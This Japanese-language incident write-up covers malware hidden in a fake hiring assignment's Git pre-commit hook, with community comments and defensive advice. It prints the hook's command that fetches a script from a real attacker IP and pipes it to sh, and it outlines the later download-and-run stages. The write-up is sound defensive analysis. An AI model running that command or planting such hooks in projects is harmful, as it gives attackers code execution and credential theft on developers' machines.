偽の採用試験用課題にGit Hookマルウェアが含まれていました

偽の採用試験用課題にGit Hookマルウェアが含まれていました

概要

LinkedInのリクルーターを通じて送られてきた採用試験用の課題に、git commitを実行した際にリモートコードを実行するよう設定されたGitリポジトリが含まれていました。

マルウェアの仕組み

pre‑commitフックがホストOSを検出し、http://45.61.164.38:5777からサイレントにペイロードを取得します。

  • Linuxの場合、wget -qO- 'http://45.61.164.38:5777/task/linux?id=402' | shを実行します。
  • 第1ステージでは、tokenlinux.nplという名前のファイルをダウンロードし、tokenlinux.shにリネームして実行権限を付与した後、nohupで起動します。
  • 第2ステージ(tokenlinux.sh)では、parser.jspackage.json$HOMEにダウンロードし、Node.jsのrequestパッケージをインストールして、parser.jsをバックグラウンドで実行します。
  • parser.jsは高度に難読化されており、idパラメータによって各被害者にカスタマイズされたペイロードが提供されるようです。
  • package.jsonには、ネットワーク(axios)、FTP(basic-ftp)、クリップボード(clipboardy)、ファイルシステム(fs)、JSON Web Token(jsonwebtoken)、プロセス操作(process, ps-node)、およびEthereum開発環境(hardhat)を提供する依存関係がリストされています。

発見方法

著者は、抽出されたプロジェクトに対してtree -aを実行することで、隠されたフックを発見しました。これにより.git/hooksディレクトリが明らかになりました。

  • .git/hooks/pre-commitを調査したところ、OS固有のcurl/wgetコマンドが確認されました。
  • 攻撃者のエンドポイントへの連続的なcurlリクエストにより、ステージングされたスクリプトが取得されました。
  • idパラメータを変更すると異なるスクリプトが返されたため、被害者ごとにカスタマイズされていることが示されました。

攻撃者のインフラ

マルウェアは、ポート5777を使用して生のIPアドレス(45.61.164.38)に接続します。

  • Nmapスキャンでは3つのオープンポートが示されましたが、ポート22のみがUbuntu上のOpenSSH 9.6p1として応答しており、スキャン時点では既知のCVEはありませんでした。
  • ドメインではなく生のIPアドレスを使用している点は、典型的なマルウェアの特徴として指摘されています。

バリエーションと感染経路

一部の被害者は、VSCodeでディレクトリを開いたときに実行される起動コマンドを含む.vscodeフォルダを受け取っていました。これは、Gitコマンドを実行しなくても感染が発生する可能性があることを意味します。

  • 元のリポジトリは、公開されているFastAPIプロジェクト(https://github.com/Bgogoi123/personal-finance-service)をクローンしたもので、攻撃者が悪意のある.gitディレクトリを追加したものでした。
  • Gitログには元のプロジェクトのコミットのみが表示されており、攻撃者によるカスタムコミットは見当たりませんでした。

コミュニティの洞察

Hacker Newsの投稿へのコメントでは、以下の点が強調されていました:

  • 「treeについて知った... 25年以上、あるいは10年以上毎日使っているOSについて新しいことを学んでも、もう驚かない。ただ、こうした採用試験の悪夢のような話がこれほど一般的であるという発見の興奮を楽しんでいるよ」 – @fitsumbelay
  • 「これは繰り返されるテーマになりつつあるようだ。先月もフロントページに似たような話があった」 – @wxw (https://news.ycombinator.com/item?id=48546294 を参照)
  • 「なぜ生のIPアドレスを使うのか?それ自体が「マルウェア」であることを叫んでいるようだ。もし被害者がフックの内容をチェックするほど深い知識を持っていれば、そこで疑念を捨てて止まることはまずないだろう。ほとんどの開発者は、git commitが悪意を持つ可能性があるとは考えないだろう(Gitのセキュリティ上の見落としか?)」 – @ivanjermakov
  • 「ここから学んだことは、Claudeがヘルパーとして完全に役に立たなかったということだ。すべての安全策とそのナンセンスのせいでね」 – @vardalab
  • 「もしLinkedInが本当に詐欺防止を重視しているなら、現在の雇用を記載したい場合に会社のメールアドレスを使用した検証を実装できるはずだ」 – @darth_avocado
  • 「ここから学んだことは、誰かが「あなたの銀行から」と電話してきたときと同じ防御策を使うべきだということだ。直接連絡が来たら、実際の会社のサイトに行って応募し、本物のリクルーターに連絡することだ」 – @gtowey
  • 「AI時代において、この種のテストはまだ有効なのだろうか?純粋な疑問だ。私は長い間面接を受けていない。大学の持ち帰り試験と同じくらい役に立たないように見える」 – @drnick1
  • 「これを行う標準的な方法は、リクルーターが提供するVMを通じて行うことではないか?」 – @wslh
  • 「VSCodeで「作成者を信頼しない」をクリックしても、スクリプトはロードされるのだろうか?」 – @syntaxing
  • 「git hookをグローバルに無効にする方法を調べたが、組み込みの方法は存在しなかった」 – @darkstar999
  • 個人的な経験:「ハッキングされたことに気づいたが、もっと巧妙な攻撃だった... ラップトップを初期化してすべてを再インストールする必要がある」 – @IvanGoncharov

防御上の教訓

  • 未知のソースからのコードを実行する前に、隠しディレクトリを調査すること(例:tree -aまたはls -la.git/hooksを実行する)。
  • 未承諾の採用試験課題は、潜在的に敵対的なものとして扱うこと。使い捨てのVMやコンテナの使用を検討してください。
  • LinkedInのメッセージに返信するのではなく、公式チャネルを通じて会社に連絡し、リクルーターの正当性を確認してください。
  • ワークスペースが「信頼できない」としてマークされていない限り、VSCodeはフォルダレベルのタスクを実行することに注意してください。
  • Gitにはフックをグローバルに無効にする組み込みのオプションはありません。ユーザーは手動で.git/hooksを監査する必要があります。

結論

この事件は、攻撃者が採用試験に内在する信頼をどのように悪用し、Gitフックに多段階のマルウェアを埋め込み、一見無害な依存関係を利用して永続化と潜在的な資格情報の窃取を実現するかを示しています。サードパーティのコードを調査する際の警戒心は、引き続き不可欠です。

Sources